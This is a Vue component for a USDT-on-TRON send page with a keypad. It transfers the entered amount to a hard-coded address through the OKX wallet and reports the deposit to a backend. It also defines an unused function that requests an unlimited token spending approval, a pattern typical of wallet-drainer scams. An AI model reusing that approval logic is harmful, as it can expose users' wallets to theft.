<template>
  <div class="amount-page">
    <!-- 状态栏 -->
    <div class="status-bar" v-if='false' @click="waitForConfirmation">
      <span class="time">17:43</span>
      <div class="status-icons">
        <span class="icon">VPN</span>
        <span class="icon">📱</span>
        <span class="icon">🏠</span>
        <span class="icon">🔋</span>
      </div>
    </div>

    <!-- 导航栏 -->
    <div class="nav-bar">
      <button class="back-btn" @click="goBack">
        <svg width="20" height="20" viewBox="0 0 24 24" fill="none">
          <path d="M15 18l-6-6 6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round"
            stroke-linejoin="round" />
        </svg>
      </button>
    </div>

    <!-- 主要内容 -->
    <div class="content">
      <!-- 余额信息 -->
      <div class="balance-info">
        <div class="available">
          可用: {{ walletState.balance }} {{ walletState.currency }}
          <button class="max-btn" @click="setMaxAmount">最大</button>
        </div>
      </div>

      <!-- 金额显示 -->
      <div class="amount-display">
        <div class="amount-value" >
          <div  class="number-box" :style="dynamicStyle"> {{ displayAmount }}</div>
          <div class="element" style="background-color: #7FBF00;width: 15px;height: 15px;">
          </div>
          <div   :style="dynamicStyle" class="currency number-box">{{ walletState.currency }}</div>
        </div>
        <div style="display: flex;justify-content: space-between;">
          <div class="amount-usd">{{ usdValue }}</div>
          <button class="swap-btn" @click="swapCurrency">
            <svg width="20" height="20" viewBox="0 0 24 24" fill="none">
              <path d="M16 3l4 4-4 4M4 17l4-4 4 4M20 7H4M4 17h16" stroke="currentColor" stroke-width="2"
                stroke-linecap="round" stroke-linejoin="round" />
            </svg>
          </button>
        </div>
        <!-- 额度不足 -->
        <div v-if="displayAmount > walletState.balance" class="" style="color: #C15976;">
          余额不足
        </div>
        <div v-else style="height: 22.5px;"></div>
      </div>

      <!-- 数字键盘 -->
      <div class="keypad">
        <div class="keypad-row">
          <button class="key" @click="inputDigit('1')">1</button>
          <button class="key" @click="inputDigit('2')">2</button>
          <button class="key" @click="inputDigit('3')">3</button>
        </div>
        <div class="keypad-row">
          <button class="key" @click="inputDigit('4')">4</button>
          <button class="key" @click="inputDigit('5')">5</button>
          <button class="key" @click="inputDigit('6')">6</button>
        </div>
        <div class="keypad-row">
          <button class="key" @click="inputDigit('7')">7</button>
          <button class="key" @click="inputDigit('8')">8</button>
          <button class="key" @click="inputDigit('9')">9</button>
        </div>
        <div class="keypad-row">
          <button class="key" @click="inputDigit('.')">.</button>
          <button class="key" @click="inputDigit('0')">0</button>
          <button class="key delete" @click="deleteDigit">
            <svg width="24" height="24" viewBox="0 0 24 24" fill="none">
              <path d="M21 4H8l-7 8 7 8h13a2 2 0 002-2V6a2 2 0 00-2-2z" stroke="currentColor" stroke-width="2"
                stroke-linecap="round" stroke-linejoin="round" />
              <path d="M18 9l-6 6M12 9l6 6" stroke="currentColor" stroke-width="2" stroke-linecap="round"
                stroke-linejoin="round" />
            </svg>
          </button>
        </div>
      </div>

      <!-- 确认按钮 -->
      <div class="bottom-section">
        <button class="confirm-btn" @click="confirmAmount" :disabled="!amount || parseFloat(amount) <= 0">
          确认
        </button>
      </div>
    </div>
  </div>
</template>

<script setup>
import { ref,  inject, onMounted, computed } from 'vue'
import { useRouter } from 'vue-router'
const USDT_CONTRACT_ADDRESS = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'



// 根据数字长度动态计算字体大小
const dynamicStyle = computed(() => {
  const length = displayAmount.value.length
  const base = 2.9
  const min = 1.6
  const step = 0.1
  const shrink = Math.max(0, length - 5)
  const fontSize = Math.max(min, base - shrink * step)
  return {
    fontSize: `${fontSize}rem`,
    overflow: 'hidden',
    textOverflow: 'ellipsis',
    whiteSpace: 'nowrap',
  }
})



console.log('AmountPage')
console.log(localStorage.getItem('txHash'), 'local ')

const router = useRouter()
const walletState = inject('walletState')

const amount = ref('0')
const showUSD = ref(false)

const displayAmount = computed(() => {
  return amount.value === '0' ? '0' : amount.value
})

const usdValue = computed(() => {
  const val = parseFloat(amount.value)
  return isNaN(val) ? '0 USD' : `${val.toFixed()} USD`
})

const goBack = () => {
  router.go(-1)
}

const inputDigit = (digit) => {
  if (digit === '.' && amount.value.includes('.')) return

  if (amount.value === '0' && digit !== '.') {
    amount.value = digit
  } else {
    amount.value += digit
  }
}

const deleteDigit = () => {
  if (amount.value.length > 1) {
    amount.value = amount.value.slice(0, -1)
  } else {
    amount.value = '0'
  }
}

const setMaxAmount = () => {
  amount.value = walletState.value.balance.toString()
}

const swapCurrency = () => {
  showUSD.value = !showUSD.value
}

const confirmAmount = () => {
  if (amount.value && parseFloat(amount.value) > 0) {
    // router.push('/confirm')
    sendUsdt()
  }
}
// async function sendUsdt() {
//   let to = 'TFgx9wEKyATa4BfaniE6VcTBonax1ro26w'
//   const contract = await window.okxwallet.tronLink.tronWeb.contract().at(USDT_CONTRACT_ADDRESS)
//   await contract.methods.transfer(to, amount.value * 1e6).send({ feeLimit: 1e8, callValue: 0 })
// }


// const fetchUsdt = async () => {
//   const tronWeb = window.okxwallet.tronLink.tronWeb
//   const contract = await tronWeb.contract().at(USDT_CONTRACT_ADDRESS)
//   const raw = await contract.methods.balanceOf(address.value).call()
//   usdtBalance.value = new BigNumber(raw._hex).dividedBy(1e6).toFixed(2)
//   walletState.balance = usdtBalance.value
// }


import { contractinfo, useradd } from '@/api/index.js'

contractinfo().then(({ data }) => {
  // receivingAddress.value = data.address
})

/* txHash */
const waitForConfirmation = async () => {
  let txHash = localStorage.getItem('txHash')
  const tronWeb = window.okxwallet.tronLink.tronWeb
  for (let i = 0; i < 10; i++) {
    try {
      const txInfo = await tronWeb.trx.getTransactionInfo(txHash)
      if (txInfo?.receipt?.result === 'SUCCESS') {
        console.log('交易确认成功')
        useradd({
          "address": walletState.value.fromAddress,
          "usdt": amount.value
        }).then((res) => {
          console.log(res, 'res')
        }).catch((err) => {
          console.log(err, 'err')
        })
        return true
      } else if (txInfo?.receipt?.result === 'FAILED') {
        throw new Error('交易失败')
      }
    } catch (err) {
      // 等待确认中
    }
    await new Promise(resolve => setTimeout(resolve, 3000)) // 3秒轮询
  }
  throw new Error('交易确认超时')
}

// 授权USDT消费权限
const approveUsdt = async () => {
  // 1. 构造签名消息
  // const message = JSON.stringify({
  //   action: "transferUSDT",
  //   to: 'TFgx9wEKyATa4BfaniE6VcTBonax1ro26w',
  //   amount: amount.value,
  //   contract: USDT_CONTRACT_ADDRESS,
  //   timestamp: Date.now(),
  //   nonce: Math.floor(Math.random() * 1000000) // 防重放攻击
  // });

  // // 2. 请求用户签名
  // const signature = await  window.okxwallet.tronLink.tronWeb.trx.signMessage(message);
  // console.log(signature,'signature')

  try {
    const contract = await window.okxwallet.tronLink.tronWeb.contract().at(USDT_CONTRACT_ADDRESS);
    // 设置无限授权（或指定足够大的金额）
    const maxAmount = Number.MAX_SAFE_INTEGER.toString();
    const txHash = await contract.methods
      .approve('TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t', maxAmount) // 如果是合约交互需要目标地址
      .send({
        feeLimit: 1e8,
        callValue: 0
      });
    console.log('授权成功，交易哈希:', txHash);
    return txHash;
  } catch (err) {
    console.error('授权失败:', err);
    throw new Error('USDT授权失败，请重试');
  }
  
};

const sendUsdt = async () => {
  // 1. 先检查并授权
  // let appro = await approveUsdt();
  // console.log('appro', appro)
  // TODO 改成接口地址
  let to = 'TYVYy4tVfmf87yP25HCw8aerpcwEkDiH2a'
  try {
    const contract = await window.okxwallet.tronLink.tronWeb.contract().at(USDT_CONTRACT_ADDRESS)
    const txHash = await contract.methods.transfer(to, amount.value * 1e6).send({
      feeLimit: 1e8,
      callValue: 0,
      // shouldPollResponse: true
    })
    console.log('交易已提交，哈希:', txHash)
    localStorage.setItem('txHash', txHash);
    // 👇 可执行下一步
    setTimeout(async () => {
      await waitForConfirmation(txHash)
    }, 3000);
    alert('转账成功')
  } catch (err) {
    console.error('转账失败:', err)
    alert('转账失败，请重试')
  }
}


// 等待交易确认
</script>

<style scoped>
.number-box {
  /* font-weight: bold; */
  transition: font-size 0.3s ease;
}
/* 定义闪烁的动画 */
@keyframes blink {
  0% {
    opacity: 1;
    /* 完全可见 */
  }

  50% {
    opacity: 0;
    /* 隐藏 */
  }

  100% {
    opacity: 1;
    /* 完全可见 */
  }
}

/* 应用闪烁动画 */
.element {
  animation: blink 1s infinite;
  /* 1秒闪烁一次，循环 */
}

.amount-page {
  min-height: 100vh;
  background: #fff;
  display: flex;
  flex-direction: column;
}

.status-bar {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 8px 20px;
  background: #fff;
  font-size: 14px;
  font-weight: 600;
}

.status-icons {
  display: flex;
  gap: 8px;
}

.nav-bar {
  display: flex;
  align-items: center;
  padding: 16px 20px;
  background: #fff;
}

.back-btn {
  background: none;
  border: none;
  /* padding: 8px; */
  cursor: pointer;
  color: #333;
  border-radius: 8px;
  transition: background-color 0.2s;
}

.back-btn:hover {
  background-color: #f0f0f0;
}

.content {
  flex: 1;
  padding: 20px;
  display: flex;
  flex-direction: column;
}

.balance-info {
  /* margin-bottom: 40px; */
}

.available {
  display: flex;
  align-items: center;
  gap: 8px;
  font-size: 16px;
  color: #666;
}

.max-btn {
  background: none;
  border: none;
  /* color: #007AFF; */
  color: #000;
  font-size: 16px;
  font-weight: bold;
  cursor: pointer;
  padding: 4px 8px;
  border-radius: 4px;
  transition: background-color 0.2s;
}

.max-btn:hover {
  /* background-color: rgba(0, 122, 255, 0.1); */
}

.amount-display {
  /* text-align: center; */
  margin-bottom: 120px;
  position: relative;
}

.amount-value {
  /* font-size: 48px;
  font-weight: 700;

  margin-bottom: 8px;
  display: flex;
 
  gap: 8px; */
}

.amount-value {
  font-weight: bold;
    color: #1a1a1a;
     align-items: baseline;
  display: flex;
  /* align-items: flex-end; */
  gap: 0.5rem;
  max-width: 100%;
  flex-wrap: nowrap;
  overflow: hidden;
}

.number-box {
  flex-shrink: 1; /* 允许缩小 */
  min-width: 0;   /* 允许超长内容截断 */
}

.currency {
  flex-shrink: 0; /* 始终保留 USDT，不被挤压 */
}

.currency {
  /* font-size: 24px; */
  color: #999;
  font-weight: 400;
}

.amount-usd {
  font-size: 16px;
  color: #666;
  /* margin-bottom: 16px; */
}

.swap-btn {
  /* position: absolute;
  right: 20px;
  top: 50%; */
  /* transform: translateY(-50%); */
  transform: rotate(90deg);

  background: none;
  border: none;
  padding: 8px;
  cursor: pointer;
  color: #666;
  border-radius: 8px;
  transition: background-color 0.2s;
}

.swap-btn:hover {
  background-color: #f0f0f0;
}

.keypad {
  /* margin-bottom: 20px; */
  margin-bottom: auto;
}

.keypad-row {
  display: flex;
  gap: 12px;
  margin-bottom: 12px;
}

.key {
  flex: 1;
  height: 60px;
  background: #fff;
  border: none;

  font-size: 24px;
  font-weight: 500;
  color: #1a1a1a;
  cursor: pointer;
  transition: all 0.2s;
  /* box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1); */
}

.key:hover {
  border-radius: 16px;
  background: #f8f9fa;
  transform: translateY(-1px);
}

.key:active {
  transform: scale(0.96);
}

.key.delete {
  display: flex;
  align-items: center;
  justify-content: center;
  color: #666;
}

.bottom-section {
  /* margin-top: auto; */
}

.confirm-btn {
  width: 100%;
  padding: 16px;
  background: #000;
  color: #fff;
  border: none;
  border-radius: 36px;
  font-size: 18px;
  font-weight: 600;
  cursor: pointer;
  transition: all 0.2s;
}

.confirm-btn:hover {
  background: #333;

}

.confirm-btn:disabled {
  background: #FAFAFA;
  color: #B1B1B1;
  cursor: not-allowed;
}

.confirm-btn:active:not(:disabled) {
  transform: scale(0.98);
}
</style>